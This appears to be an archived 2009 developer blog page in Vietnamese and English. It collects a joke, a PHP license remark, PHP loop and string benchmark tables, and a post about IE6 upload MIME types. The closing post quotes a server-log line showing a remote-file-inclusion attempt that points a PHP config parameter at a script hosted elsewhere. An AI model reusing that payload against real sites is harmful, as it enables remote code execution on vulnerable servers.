Một cô tóc vàng hoe ngồi cạnh một luật sư trên máy bay. Mới nhìn thấy mái tóc của cô ta, vị luật sư đã tỏ ra khinh thường. Ông ta rủ cô gái chơi trò thử trí thông minh.
Hai người thỏa thuận sẽ đố nhau 10 câu. Nếu cô tóc vàng không trả lời được một câu, cô sẽ phải trả 5 đôla. Còn nếu vị luật sư thua, ông ta sẽ phải bỏ ra 50 đô. Vị luật sư đồng ý vì biết chắc rằng ông ta không thể thua.
Người tự cho là thông minh hỏi trước: -Khoảng cách giữa trái đất và hành tinh gần nhất là bao nhiêu?.
Chẳng nói một lời, cô tóc vàng rút ví trả ngay 5 đô, rồi hỏi: -Cái gì leo lên đồi bằng 3 chân, nhưng xuống đồi bằng 4 chân?.
Vị luật sư ngồi nghĩ mãi, nghĩ mãi, hết tra máy tính rồi lại gọi điện nhờ tư vấn, nhưng vẫn chẳng tìm ra câu trả lời. Cuối cùng, giận dữ và thất vọng, ông ta rút ra 50 đô đưa cho đối thủ.
Cô tóc vàng chẳng nói chẳng rằng đút ngay tiền vào túi. Kẻ thua cuộc nài nỉ: -Cô cho tôi biết đáp án đi nào!.
Lập tức, cô gái lại lấy ra 5 đô trả cho vị luật sư.
Friday, July 31, 2009
Trí thông minh
Trí thông minh
Thursday, July 30, 2009
Từ PHP không được sử dụng trong sản phẩm viết bằng PHP
Từ PHP không được sử dụng trong sản phẩm viết bằng PHP
Tháng này bận quá, đến giờ mới rảnh rảnh ngồi coi cái PHP License version 3.01 tại http://www.php.net/license/3_01.txt.
Trong đó, mục 4 có ghi :
Vậy là phpmyadmin, phpcake, phpbb... :|, đồng loạt đi xin permission hết zồi :-j
Trong đó, mục 4 có ghi :
4. Products derived from this software may not be called "PHP", norSản phẩm không được đặt tên là "PHP" hoặc không có từ PHP xuất hiện trong tên.
may "PHP" appear in their name, without prior written permission
from group@php.net. You may indicate that your software works in
conjunction with PHP by saying "Foo for PHP" instead of calling
it "PHP Foo" or "phpfoo"
Vậy là phpmyadmin, phpcake, phpbb... :|, đồng loạt đi xin permission hết zồi :-j
PHP Benchmark tests
PHP Benchmark tests
PHP Benchmark tests
This article is taken from php.ltNOTE | You must keep in mind to refresh this page a few times to "catch" the right result. The numbers change sometimes drastically during each refresh. I assume that this is because of PHP's memory garbage collector that drops in randomly and also other processes that run on this machine have an influence. |
Test: READ LOOP: foreach() vs. while(list()=each()) | ||
---|---|---|
What is the best way to loop a hash array? Given is a Hash array with 100 elements, 24byte key and 10k data per entry I've chosen the large data amount to try out what happens if I reference the data with the &-ref-operator (to avoid copying). But to my surprise the loops are never faster! In tests 5 and 6 are even 10x - 30x slower !! The larger the data entrys are the slower the tests 5 and 6 get! Copying seams always faster then using the &-ref-operator. Way ??? Let me know at bs_php@users.sourceforge.net | ||
+ 411 % | 1: foreach($aHash as $val); | Total time: 6[ms] |
+ 196 % | 2: while(list(,$val) = each($aHash)); | Total time: 3[ms] |
+ 901 % | 3: foreach($aHash as $key=>$val); | Total time: 14[ms] |
+ 938 % | 4: while(list($key,$val)= each($aHash)); | Total time: 15[ms] |
+ 625 % | 5: foreach($aHash as $key=>$val) $tmp[] = &$aHash[$key]; | Total time: 10[ms] |
+ 598 % | 6: while(list($key) = each($aHash)) $tmp[]=&$aHash[$key]; | Total time: 9[ms] |
+ 200 % | 7: Get key-/ value-array: foreach($aHash as $key[]=>$val[]); | Total time: 3[ms] |
+ 100 % | 8: Get key-/ value-array: array_keys() / array_values() | Total time: 2[ms] |
+ 148 % | 9: STRANGE: This is the fasetest code when using the the &-ref-operator (to avoid copying) $key = array_keys($aHash); $size = sizeOf($key); for ($i=0; $i<$size; $i++) $tmp[] = &$aHash[$key[$i]]; | Total time: 2[ms] |
Conclusion: It must have something to do with PHP4 variable ref-count So you can safely use foreach and only use the &-ref-operator when realy needed OR (according to the link above) when passing objects to functions. (Thanx to Wayne for his help) |
Test: MODIFY LOOP: foreach() vs. while(list()=each()) | ||
---|---|---|
While the above test only reads and copies the data the question arised what would happen if I modify each value of the hash above. Again I an unexpected result. Even if I reduce the data size to 100 byte p. e. it ends up that Nr.3 is 1.5 - 2x faster. | ||
+ 602 % | 1: foreach($aHash as $key=>$val) $aHash[$key] .= "a"; | Total time: 14[ms] |
+ 134 % | 2: while(list($key) = each($aHash)) $aHash[$key] .= "a"; | Total time: 3[ms] |
+ 100 % | 3: STRANGE: This is the fasetest code : $key = array_keys($aHash); $size = sizeOf($key); for ($i=0; $i<$size; $i++) $aHash[$key[$i]] .= "a"; | Total time: 2[ms] |
Conclusion: Use foreach unless the hash is lage AND has lage data elements. In that case use variation Nr.3 . |
Test: For-loop test | ||
---|---|---|
Is it worth the effort to calculate the length of the loop in advance? E.g. "for ($i=0; $i<$size; $i++)" instead of "for ($i=0; $i | ||
+ 100 % | 1: With pre calc | Total time: 3[ms] |
+ 1021 % | 2: Without pre calc | Total time: 35[ms] |
Conclusion: The test above speeks for it self. Always calculate the length of the loop in advance! |
Test: Using the &-ref-operator as so called "alias" | ||
---|---|---|
Is a good idea to use the &-ref-operator to substitute (or alias) a complex mutidim-array? . Call 1'000x E.g. $person = &$aHach["country"]["zip"]["streat"]["number"]["name"] | ||
+ 103 % | 1: NO Aliasing. Using: $aSingleDimArray[$i] | Total time: 3[ms] |
+ 100 % | 2: Aliasing. Using: $alias = &$aSingleDimArray[$i] | Total time: 3[ms] |
+ 147 % | 3: NO Aliasing. Using: $aMultiDimArray[$i]["aaaaa"]["aaaaaaaaaa"] | Total time: 5[ms] |
+ 110 % | 4: Aliasing. Using: $alias = &$aMultiDimArray[$i]["aaaaa"]["aaaaaaaaaa"] | Total time: 3[ms] |
+ 208 % | 5: NO Aliasing. Using: veryMultiDimArray[$i]["a"]["aa"]["aaa"]["aaaa"]["aaaaa"] | Total time: 7[ms] |
+ 126 % | 6: Aliasing. Using: $alias = &$veryMultiDimArray[$i]["a"]["aa"]["aaa"]["aaaa"]["aaaaa"] | Total time: 4[ms] |
Conclusion: It seams to be ok to use aliases. It also makes the code more readabel. But I was expecting to get a lager performance gain; especially with very multdimetional arrays. |
Test: $obj = new SomeClass() vs. $obj =& new SomeClass() using the =&-ref-operator | ||
---|---|---|
Is a good idea to use the =&-ref-operator when creating a new object? Call 1'000x | ||
+ 103 % | 1: $obj = new SomeClass() | Total time: 4[ms] |
+ 100 % | 2: $obj =& new SomeClass() | Total time: 4[ms] |
+ 207 % | 3: $obj =& $someClass->f(); | Total time: 8[ms] |
+ 135 % | 4: $obj = $someClass->f(); | Total time: 6[ms] |
Conclusion: There seams to be no difference in performance. |
Test: double (") vs. single (') quotes | ||
---|---|---|
Is a there a difference in using double (") and single (') quotes for strings. Call 1'000x | ||
+ 100 % | 1: single (') quotes. Just an empty string: $tmp[] = ''; | Total time: 1[ms] |
+ 102 % | 2: double (") quotes. Just an empty string: $tmp[] = ""; | Total time: 1[ms] |
+ 114 % | 3: single (') quotes. 20 bytes Text : $tmp[] = 'aaaaaaaaaaaaaaaaaaaa'; | Total time: 1[ms] |
+ 111 % | 4: double (") quotes. 20 bytes Text : $tmp[] = "aaaaaaaaaaaaaaaaaaaa"; | Total time: 1[ms] |
+ 111 % | 5: single (') quotes. 20 bytes Text and 3x a $ : $tmp[] = 'aa $ aaaa $ aaaa $ a'; | Total time: 1[ms] |
+ 172 % | 6: double (") quotes. 20 bytes Text and 3x a $ : $tmp[] = "aa $ aaaa $ aaaa $ a"; | Total time: 2[ms] |
+ 111 % | 7: double (") quotes. 20 bytes Text and 3x a \$ : $tmp[] = "aa \$ aaaa \$ aaaa \$ a"; | Total time: 1[ms] |
Conclusion: Single and double quoted strings behave almost the same with one exception: Don't use the a lonely ($) in double quoted string unless you want to reference a PHP-var; or use (\$). |
Test: isSet() vs. empty() vs. is_array() | ||
---|---|---|
What is the performance of isSet() and empty(). Call 2'000x | ||
+ 100 % | 1: isSet() with var that was set | Total time: 1[ms] |
+ 101 % | 2: empty() with var that was set | Total time: 1[ms] |
+ 108 % | 3: isSet() with var that was *not* set | Total time: 1[ms] |
+ 101 % | 4: empty() with var that was *not* set | Total time: 1[ms] |
+ 127 % | 5: isSet() with array-var that was set | Total time: 2[ms] |
+ 131 % | 6: empty() with array-var that was set | Total time: 2[ms] |
+ 125 % | 7: isSet() with array-var that was *not* set | Total time: 2[ms] |
+ 126 % | 8: empty() with array-var that was *not* set | Total time: 2[ms] |
+ 140 % | 9: is_array() of an array | Total time: 2[ms] |
+ 140 % | 10: is_array() of a string | Total time: 2[ms] |
+ 343 % | 11: is_array() of a non set value | Total time: 4[ms] |
+ 115 % | 12: isSet() AND is_array() of a non set value | Total time: 1[ms] |
Conclusion: isSet() and empty() are identical. Interesting that a is_array() on a unset val is 3x slower. So alway check if val is set at all befor using type-checking. E.g. if (isSet($foo) AND is_array($foo)) |
Test: switch/case vs. if/elseif | ||
---|---|---|
Is a there a difference between switch and if elseif. Call 1'000x | ||
+ 131 % | 1: if and elseif (using ==) | Total time: 3[ms] |
+ 100 % | 2: if and elseif (using ===) | Total time: 2[ms] |
+ 107 % | 3: case | Total time: 2[ms] |
Conclusion: Using a switch/case or if/elseif is almost the same. Note that the test is unsing === and is slitly faster then using ==. |
Wednesday, July 22, 2009
Internet Explorer SUCKS
Internet Explorer SUCKS
I've just finished my project, it had multi file upload feature. And there were some problems.
First I used muti file upload from Fyneworks.
It's good.
The trouble came when I validate mime type of uploaded-file.
First I collected a list of mime type, you can search it from internet. And below is the list mime type that I used to validate uploaded-file:
When validate in client by javascript, it's ok.
But when validate by php, the trouble come!!!
In Firefox the mime type of uploaded-file is true.
But when i use Internet Explorer v6 to submit file, some file is missing.
What's the f*ck!ng ???
Hum,....
I've used the print_r to debug, it's really good at this instance.
Let's see:
In Firefox : All mime type are right!!!
ex:
:D
First I used muti file upload from Fyneworks.
It's good.
The trouble came when I validate mime type of uploaded-file.
First I collected a list of mime type, you can search it from internet. And below is the list mime type that I used to validate uploaded-file:
$allow_file = array('gif','jpg','png','doc','docx','rar','zip','wma','mp3','pdf');
$allow_mime = array(
'image/gif', 'image/jpeg', 'image/png',
'application/msword', 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
'application/x-rar-compressed', 'application/zip',
'application/octet-stream','application/force-download','image/pjpeg', //fix for suck mime of ie *_*
'audio/mpeg', 'audio/x-ms-wma',
'application/pdf'
);
zip application/zip
doc application/msword
docx application/vnd.openxmlformats-officedocument.wordprocessingml.document
jpeg image/jpeg
jpg image/jpeg
doc application/msword
mp3 audio/mpeg3
rar application/x-rar-compressed
When validate in client by javascript, it's ok.
But when validate by php, the trouble come!!!
In Firefox the mime type of uploaded-file is true.
But when i use Internet Explorer v6 to submit file, some file is missing.
What's the f*ck!ng ???
Hum,....
I've used the print_r to debug, it's really good at this instance.
Let's see:
In Firefox : All mime type are right!!!
ex:
rar => application/x-rar-compressedBut in Internet Explorer:
zip => application/zip
and
jpeg => image/jpeg
rar => application/force-downloadI have not tested all the mime type, but now I know the reason of missing file.
zip => application/octet-stream
and
jpeg => image/pjpeg
:D
Friday, July 3, 2009
Shell??
Shell??
Sáng nay rảnh rảnh vào coi log stats của opensource.
Truy cập thử vào thì có vẻ là cái host chú này dùng cc chùa rồi bị del rồi :-j
Chú script kid nào tính chơi trò đây mà :|
Khéo phải chuyển qua xài bằng html hết quá, không cứ thấy đâu có php là tụi nó chèn.
Khổ cái stats của server quá.
/?mosConfig_absolute_path=http://www.aalesundby.no/.../.thumb/site.txt????Wtf???
Truy cập thử vào thì có vẻ là cái host chú này dùng cc chùa rồi bị del rồi :-j
Chú script kid nào tính chơi trò đây mà :|
Khéo phải chuyển qua xài bằng html hết quá, không cứ thấy đâu có php là tụi nó chèn.
Khổ cái stats của server quá.
Subscribe to:
Posts (Atom)